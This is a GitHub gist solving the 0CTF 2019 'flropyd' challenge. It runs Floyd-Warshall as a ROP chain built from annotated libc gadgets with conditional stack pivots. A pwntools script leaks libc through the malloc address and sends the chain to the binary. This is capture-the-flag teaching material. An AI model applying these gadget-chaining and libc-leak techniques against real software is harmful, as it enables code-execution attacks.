Skip to content

Instantly share code, notes, and snippets.

@v0s
Created March 25, 2019 19:51
Show Gist options
  • Save v0s/a177d118cb9ddfd3c3d9697e6854ef9d to your computer and use it in GitHub Desktop.
Save v0s/a177d118cb9ddfd3c3d9697e6854ef9d to your computer and use it in GitHub Desktop.
0CTF Quals 2019 — flropyd (Floyd—Warshall using a ROP chain)
NODE_COUNT = 32 — 63
for ( i = 0LL; i < NODE_COUNT; ++i )
{
for ( j = 0LL; j < NODE_COUNT; ++j )
{
for ( k = 0LL; k < NODE_COUNT; ++k )
{
if ( WEIGHTS[(j << 6) + k] > (unsigned __int64)(WEIGHTS[(j << 6) + i] + WEIGHTS[(i << 6) + k]) )
WEIGHTS[(j << 6) + k] = WEIGHTS[(i << 6) + k] + WEIGHTS[(j << 6) + i];
}
}
}
r8 = NODE_COUNT
r9 = WEIGHTS
r11 = 0 // i
:loop1
r12 = 0 // j
:loop2
r13 = 0 // k
:loop3
rdi = r12 //j
rdi <<= 6 (or *= 64)
rdi += r11 //i
rax = [r9 + rdi] //WEIGHTS[(j<<6)+i]
rdi = r11 //i
rdi <<= 6 (or *= 64)
rdi += r13 //k
rcx = [r9 + rdi] //WEIGHTS[(i<<6)+k]
rax += rcx //sum
rdi = r12 //j
rdi <<= 6 (or *= 64)
rdi += r13 //k
rcx = [r9 + rdi] //WEIGHTS[(j<<6)+k]
cmp rcx, rax
cmovnb rcx, rax
[r9 + rdi] = rcx //put back
inc r13
cmp r13, r8
jne/jb loop3
inc r12
cmp r12, r8
jne/jb loop2
inc r11
cmp r11, r8
jne/jb loop1
mov rax, 1
mov rdi, 0x7f
syscall //exit
============== ROP ===============
; save rsp somewhere
0x00001b9a: pop rdx / ret ; (6 found)
+0x00001b9a: pop rdx / ret ; (6 found)
0x0015c4ce: mov rdi, rsp / call rdx ; (1 found)
0x000439c8: pop rax / ret ; (18 found) <--------- RSP is saved at here
=0x602000 ;savedRsp
0x00097055: mov qword [rax], rdi / ret ; (1 found)
; [0x602000] = saved rsp
0x0002155f: pop rdi / ret ; (490 found)
=0
0x000439c8: pop rax / ret ; (18 found)
=0x602010 ;i
0x00097055: mov qword [rax], rdi / ret ; (1 found)
; [0x602010] = i = 0
:loop1 ;; 0xE2E2 (+8 from saved)
0x0002155f: pop rdi / ret ; (490 found)
=0
0x000439c8: pop rax / ret ; (18 found)
=0x602018 ;j
0x00097055: mov qword [rax], rdi / ret ; (1 found)
; [0x602018] = j = 0
:loop2 ;; 0xD2D2 (+13 from saved)
0x0002155f: pop rdi / ret ; (490 found)
=0
0x000439c8: pop rax / ret ; (18 found)
=0x602020 ;k
0x00097055: mov qword [rax], rdi / ret ; (1 found)
; [0x602020] = k = 0
:loop3 ;; 0xC2C2 (+18 from saved)
0x000439c8: pop rax / ret ; (18 found)
=0x602018 ;j
0x00145c98: mov rax, qword [rax] / ret ; (1 found)
; rax = j
0x000efea5: add eax, eax / ret ; (1 found)
0x000efea5: add eax, eax / ret ; (1 found)
0x000efea5: add eax, eax / ret ; (1 found)
0x000efea5: add eax, eax / ret ; (1 found)
0x000efea5: add eax, eax / ret ; (1 found)
0x000efea5: add eax, eax / ret ; (1 found)
; rax = j<<6
0x00001b9a: pop rdx / ret ; (6 found)
=0x602010 ;i
0x0003eb0b: pop rcx / ret ; (1 found)
=0
0x00125681: add eax, dword [rdx+rcx] / rep ret ; (4 found)
; rax = (j<<6)+i
0x00023e6a: pop rsi / ret ; (147 found)
=0x602068 ;WEIGHTS
0x000efea5: add eax, eax / ret ; (1 found)
0x000efea5: add eax, eax / ret ; (1 found)
0x000efea5: add eax, eax / ret ; (1 found)
0x000ac21c: add rax, rsi / ret ; (2 found)
; rax = &WEIGHTS[(j<<6)+i]
0x00145c98: mov rax, qword [rax] / ret ; (1 found)
; rax = WEIGHTS[(j<<6)+i]
0x00001b9a: pop rdx / ret ; (6 found)
=0x602030 ;tmp1
0x0003093c: mov qword [rdx], rax / ret ; (2 found)
; [0x602030] = tmp1 = WEIGHTS[(j<<6)+i]
0x000439c8: pop rax / ret ; (18 found)
=0x602010 ;i
0x00145c98: mov rax, qword [rax] / ret ; (1 found)
; rax = i
0x000efea5: add eax, eax / ret ; (1 found)
0x000efea5: add eax, eax / ret ; (1 found)
0x000efea5: add eax, eax / ret ; (1 found)
0x000efea5: add eax, eax / ret ; (1 found)
0x000efea5: add eax, eax / ret ; (1 found)
0x000efea5: add eax, eax / ret ; (1 found)
; rax = i<<6
0x00001b9a: pop rdx / ret ; (6 found)
=0x602020 ;k
0x0003eb0b: pop rcx / ret ; (1 found)
=0
0x00125681: add eax, dword [rdx+rcx] / rep ret ; (4 found)
; rax = (i<<6)+k
0x00023e6a: pop rsi / ret ; (147 found)
=0x602068 ;WEIGHTS
0x000efea5: add eax, eax / ret ; (1 found)
0x000efea5: add eax, eax / ret ; (1 found)
0x000efea5: add eax, eax / ret ; (1 found)
0x000ac21c: add rax, rsi / ret ; (2 found)
; rax = &WEIGHTS[(i<<6)+k]
0x00145c98: mov rax, qword [rax] / ret ; (1 found)
; rax = WEIGHTS[(i<<6)+k]
0x00001b9a: pop rdx / ret ; (6 found)
=0x602038 ;tmp2
0x0003093c: mov qword [rdx], rax / ret ; (2 found)
; [0x602038] = tmp2 = WEIGHTS[(i<<6)+k]
0x00023e6a: pop rsi / ret ; (147 found)
=0x601FC0 ;tmp1-0x70
0x00052419: mov rsi, qword [rsi+0x70] / xor eax, eax / ret ; (1 found)
0x000439c8: pop rax / ret ; (18 found)
=0x602038 ;tmp2
0x00145c98: mov rax, qword [rax] / ret ; (1 found)
0x000ac21c: add rax, rsi / ret ; (2 found)
; rax = WEIGHTS[(j<<6)+i] + WEIGHTS[(i<<6)+k]
0x00001b9a: pop rdx / ret ; (6 found)
=0x602040 ;tmp3
0x0003093c: mov qword [rdx], rax / ret ; (2 found)
; [0x602040] = tmp3 = WEIGHTS[(j<<6)+i] + WEIGHTS[(i<<6)+k]
0x000439c8: pop rax / ret ; (18 found)
=0x602018 ;j
0x00145c98: mov rax, qword [rax] / ret ; (1 found)
; rax = j
0x000efea5: add eax, eax / ret ; (1 found)
0x000efea5: add eax, eax / ret ; (1 found)
0x000efea5: add eax, eax / ret ; (1 found)
0x000efea5: add eax, eax / ret ; (1 found)
0x000efea5: add eax, eax / ret ; (1 found)
0x000efea5: add eax, eax / ret ; (1 found)
; rax = j<<6
0x00001b9a: pop rdx / ret ; (6 found)
=0x602020 ;k
0x0003eb0b: pop rcx / ret ; (1 found)
=0
0x00125681: add eax, dword [rdx+rcx] / rep ret ; (4 found)
; rax = (j<<6)+k
0x00023e6a: pop rsi / ret ; (147 found)
=0x602068 ;WEIGHTS
0x000efea5: add eax, eax / ret ; (1 found)
0x000efea5: add eax, eax / ret ; (1 found)
0x000efea5: add eax, eax / ret ; (1 found)
0x000ac21c: add rax, rsi / ret ; (2 found)
; rax = &WEIGHTS[(j<<6)+k]
0x00001b9a: pop rdx / ret ; (6 found)
=0x602048 ;tmp4
0x0003093c: mov qword [rdx], rax / ret ; (2 found)
; [0x602048] = tmp4 = &WEIGHTS[(j<<6)+k]
0x001415de: mov edx, eax / ret ; (1 found)
; rdx = &WEIGHTS[(j<<6)+k]
0x001ab806: mov edi, dword [rdx] / ret ; (1 found)
; rdi = WEIGHTS[(j<<6)+k]
0x00001b9a: pop rdx / ret ; (6 found)
=0
0x0003eb0b: pop rcx / ret ; (1 found)
=0x602040 ;tmp3 = sum
0x0018676d: mov edx, dword [rcx+rdx*4] / sub eax, edx / ret ; (4 found)
; rdx = sum = WEIGHTS[(j<<6)+i] + WEIGHTS[(i<<6)+k]
0x0014ec4e: add eax, edx / ret ; (1 found)
; compensate
0x001300ea: cmp edx, edi / setnb al / ret ; (1 found)
; if one > sum then al = 0, else 1
0x0003f97b: movzx eax, al / ret ; (13 found)
0x0003eb0b: pop rcx / ret ; (1 found)
=0
0x00165d9e: mov rsi, rax / shr ecx, 0x03 / rep movsq / ret ; (1 found)
; rsi = !(one > sum)
0x00001b9a: pop rdx / ret ; (6 found)
=0x410 ;0xAAAA - rax in cond rsi=0 == one > sum
0x0002155f: pop rdi / ret ; (490 found)
=0x450 ;0xBBBB - rax in cond rsi=1 == else
0x000a0b18: test rsi, rsi / mov rax, rdx / cmovnz rax, rdi / ret ; (1 found)
0x00023e6a: pop rsi / ret ; (147 found)
=0x602000 ;&savedRsp
0x0002155f: pop rdi / ret ; (490 found)
=0x60afff ;dummy writable memory
0x001743f4: mov rcx, qword [rsi] / mov qword [rdi+0x01], rdx / mov qword [rdi], rcx / ret ; (2 found)
0x000ab9f8: add rax, rcx / ret ; (4 found)
; rax = savedRsp + 0xAAAA/0xBBBB
0x0003eb0b: pop rcx / ret ; (1 found)
=0
0x00165d9e: mov rsi, rax / shr ecx, 0x03 / rep movsq / ret ; (1 found)
0x00118dca: mov r8, rsi / mov byte [r8-0x01], 0x00000000 / ret ; (1 found)
0x00001b9a: pop rdx / ret ; (6 found)
+0x00001f6e: ret ; (7842 found)
0x0003eca9: mov rsp, r8 / mov rbp, r9 / nop / jmp rdx / (4 found)
; if one>sum, jump to 0xAAAA, else jump to 0xBBBB
; 0xAAAA: -- do the move (+130 from saved)
0x000439c8: pop rax / ret ; (18 found)
=0x602048 ;tmp4
0x00145c98: mov rax, qword [rax] / ret ; (1 found)
0x001415dd: mov rdx, rax / ret ; (1 found)
; rdx = &WEIGHTS[(j<<6)+k]
0x000439c8: pop rax / ret ; (18 found)
=0x602040 ;tmp3 = sum
0x00145c98: mov rax, qword [rax] / ret ; (1 found)
0x0003093c: mov qword [rdx], rax / ret ; (2 found)
; WEIGHTS[(j<<6)+k] = sum
; 0xBBBB: -- do nothing (+138 from saved)
0x00001b9a: pop rdx / ret ; (6 found)
=0x602020 ;&k
0x001ab806: mov edi, dword [rdx] / ret ; (1 found)
; rdi = k
0x000a142f: add rdi, 0x01 / test al, al / mov eax, 0x00000000 / cmovne rax, rdi / ret ; (1 found)
0x001011ab: mov dword [rdx], edi / ret ; (1 found)
; store incremented k
0x000439c8: pop rax / ret ; (18 found)
=0x602060 ;&NODE_COUNT
0x00145c98: mov rax, qword [rax] / ret ; (1 found)
0x001415dd: mov rdx, rax / ret ; (1 found)
0x000439c8: pop rax / ret ; (18 found)
=1
0x001163d4: sub edx, eax / test eax, eax / cmovns eax, edx / ret ; (1 found)
; rdx = NODE_COUNT-1
0x001300ea: cmp edx, edi / setnb al / ret ; (1 found)
; if k < NODE_COUNT then al = 1, else 0
0x0003f97b: movzx eax, al / ret ; (13 found)
0x0003eb0b: pop rcx / ret ; (1 found)
=0
0x00165d9e: mov rsi, rax / shr ecx, 0x03 / rep movsq / ret ; (1 found)
; rsi = (k < NODE_COUNT)
0x00001b9a: pop rdx / ret ; (6 found)
=1384 ;0xC1C1 - rax in cond rsi=0 == k >= NODE_COUNT
0x0002155f: pop rdi / ret ; (490 found)
=144 ;0xC2C2 - rax in cond rsi=1 == k < NODE_COUNT
0x000a0b18: test rsi, rsi / mov rax, rdx / cmovnz rax, rdi / ret ; (1 found)
0x00023e6a: pop rsi / ret ; (147 found)
=0x602000 ;&savedRsp
0x0002155f: pop rdi / ret ; (490 found)
=0x60afff ;dummy writable memory
0x001743f4: mov rcx, qword [rsi] / mov qword [rdi+0x01], rdx / mov qword [rdi], rcx / ret ; (2 found)
0x000ab9f8: add rax, rcx / ret ; (4 found)
; rax = savedRsp + 0xC1C1/0xC2C2
0x0003eb0b: pop rcx / ret ; (1 found)
=0
0x00165d9e: mov rsi, rax / shr ecx, 0x03 / rep movsq / ret ; (1 found)
0x00118dca: mov r8, rsi / mov byte [r8-0x01], 0x00000000 / ret ; (1 found)
0x00001b9a: pop rdx / ret ; (6 found)
+0x00001f6e: ret ; (7842 found)
0x0003eca9: mov rsp, r8 / mov rbp, r9 / nop / jmp rdx / (4 found)
; if k < NODE_COUNT, jump to 0xC2C2, else jump to 0xC1C1
;; 0xC1C1: (+173 from saved)
0x00001b9a: pop rdx / ret ; (6 found)
=0x602018 ;&j
0x001ab806: mov edi, dword [rdx] / ret ; (1 found)
; rdi = j
0x000a142f: add rdi, 0x01 / test al, al / mov eax, 0x00000000 / cmovne rax, rdi / ret ; (1 found)
0x001011ab: mov dword [rdx], edi / ret ; (1 found)
; store incremented j
0x000439c8: pop rax / ret ; (18 found)
=0x602060 ;&NODE_COUNT
0x00145c98: mov rax, qword [rax] / ret ; (1 found)
0x001415dd: mov rdx, rax / ret ; (1 found)
0x000439c8: pop rax / ret ; (18 found)
=1
0x001163d4: sub edx, eax / test eax, eax / cmovns eax, edx / ret ; (1 found)
; rdx = NODE_COUNT-1
0x001300ea: cmp edx, edi / setnb al / ret ; (1 found)
; if j < NODE_COUNT then al = 1, else 0
0x0003f97b: movzx eax, al / ret ; (13 found)
0x0003eb0b: pop rcx / ret ; (1 found)
=0
0x00165d9e: mov rsi, rax / shr ecx, 0x03 / rep movsq / ret ; (1 found)
; rsi = (j < NODE_COUNT)
0x00001b9a: pop rdx / ret ; (6 found)
=1664 ;0xD1D1 - rax in cond rsi=0 == j >= NODE_COUNT
0x0002155f: pop rdi / ret ; (490 found)
=104 ;0xD2D2 - rax in cond rsi=1 == j < NODE_COUNT
0x000a0b18: test rsi, rsi / mov rax, rdx / cmovnz rax, rdi / ret ; (1 found)
0x00023e6a: pop rsi / ret ; (147 found)
=0x602000 ;&savedRsp
0x0002155f: pop rdi / ret ; (490 found)
=0x60afff ;dummy writable memory
0x001743f4: mov rcx, qword [rsi] / mov qword [rdi+0x01], rdx / mov qword [rdi], rcx / ret ; (2 found)
0x000ab9f8: add rax, rcx / ret ; (4 found)
; rax = savedRsp + 0xD1D1/0xD2D2
0x0003eb0b: pop rcx / ret ; (1 found)
=0
0x00165d9e: mov rsi, rax / shr ecx, 0x03 / rep movsq / ret ; (1 found)
0x00118dca: mov r8, rsi / mov byte [r8-0x01], 0x00000000 / ret ; (1 found)
0x00001b9a: pop rdx / ret ; (6 found)
+0x00001f6e: ret ; (7842 found)
0x0003eca9: mov rsp, r8 / mov rbp, r9 / nop / jmp rdx / (4 found)
; if j < NODE_COUNT, jump to 0xD2D2, else jump to 0xD1D1
;; 0xD1D1: (+208 from saved)
0x00001b9a: pop rdx / ret ; (6 found)
=0x602010 ;&i
0x001ab806: mov edi, dword [rdx] / ret ; (1 found)
; rdi = i
0x000a142f: add rdi, 0x01 / test al, al / mov eax, 0x00000000 / cmovne rax, rdi / ret ; (1 found)
0x001011ab: mov dword [rdx], edi / ret ; (1 found)
; store incremented i
0x000439c8: pop rax / ret ; (18 found)
=0x602060 ;&NODE_COUNT
0x00145c98: mov rax, qword [rax] / ret ; (1 found)
0x001415dd: mov rdx, rax / ret ; (1 found)
0x000439c8: pop rax / ret ; (18 found)
=1
0x001163d4: sub edx, eax / test eax, eax / cmovns eax, edx / ret ; (1 found)
; rdx = NODE_COUNT-1
0x001300ea: cmp edx, edi / setnb al / ret ; (1 found)
; if i < NODE_COUNT then al = 1, else 0
0x0003f97b: movzx eax, al / ret ; (13 found)
0x0003eb0b: pop rcx / ret ; (1 found)
=0
0x00165d9e: mov rsi, rax / shr ecx, 0x03 / rep movsq / ret ; (1 found)
; rsi = (i < NODE_COUNT)
0x00001b9a: pop rdx / ret ; (6 found)
=1944 ;0xE1E1 - rax in cond rsi=0 == i >= NODE_COUNT
0x0002155f: pop rdi / ret ; (490 found)
=64 ;0xE2E2 - rax in cond rsi=1 == i < NODE_COUNT
0x000a0b18: test rsi, rsi / mov rax, rdx / cmovnz rax, rdi / ret ; (1 found)
0x00023e6a: pop rsi / ret ; (147 found)
=0x602000 ;&savedRsp
0x0002155f: pop rdi / ret ; (490 found)
=0x60afff ;dummy writable memory
0x001743f4: mov rcx, qword [rsi] / mov qword [rdi+0x01], rdx / mov qword [rdi], rcx / ret ; (2 found)
0x000ab9f8: add rax, rcx / ret ; (4 found)
; rax = savedRsp + 0xE1E1/0xE2E2
0x0003eb0b: pop rcx / ret ; (1 found)
=0
0x00165d9e: mov rsi, rax / shr ecx, 0x03 / rep movsq / ret ; (1 found)
0x00118dca: mov r8, rsi / mov byte [r8-0x01], 0x00000000 / ret ; (1 found)
0x00001b9a: pop rdx / ret ; (6 found)
+0x00001f6e: ret ; (7842 found)
0x0003eca9: mov rsp, r8 / mov rbp, r9 / nop / jmp rdx / (4 found)
; if i < NODE_COUNT, jump to 0xE2E2, else jump to 0xE1E1
;; 0xE1E1: (+243 from saved)
0x3251b: EB FE
;;;0x000439c8: pop rax / ret ; (18 found)
;;;=60
;;;0x0002155f: pop rdi / ret ; (490 found)
;;;=0
;;;0x000d2975: syscall / ret ; (11 found)
;;;=0xdeadbeef
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template
from pwn import *
if args.REMOTE:
io = remote(args.HOST, args.PORT)
else:
io = process("./flropyd_o")
io.recvuntil("malloc address: ")
malloc = int(io.recvline().strip(), 0)
print "malloc:", hex(malloc)
libc = malloc - 0x0097070
print "libc:", hex(libc)
payload = "A"*24
for line in open("plan.txt"):
mt = re.findall(r'^(=|\+|)(0[xX][0-9a-fA-F]+|\d+)', line.strip())
if mt:
val = int(mt[0][1], 0)
if mt[0][0] != '=':
val += libc
payload += p64(val)
pause()
io.recvuntil("please show me the rop chain:")
io.send(payload.ljust(0x10000))
# io.shutdown()
io.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment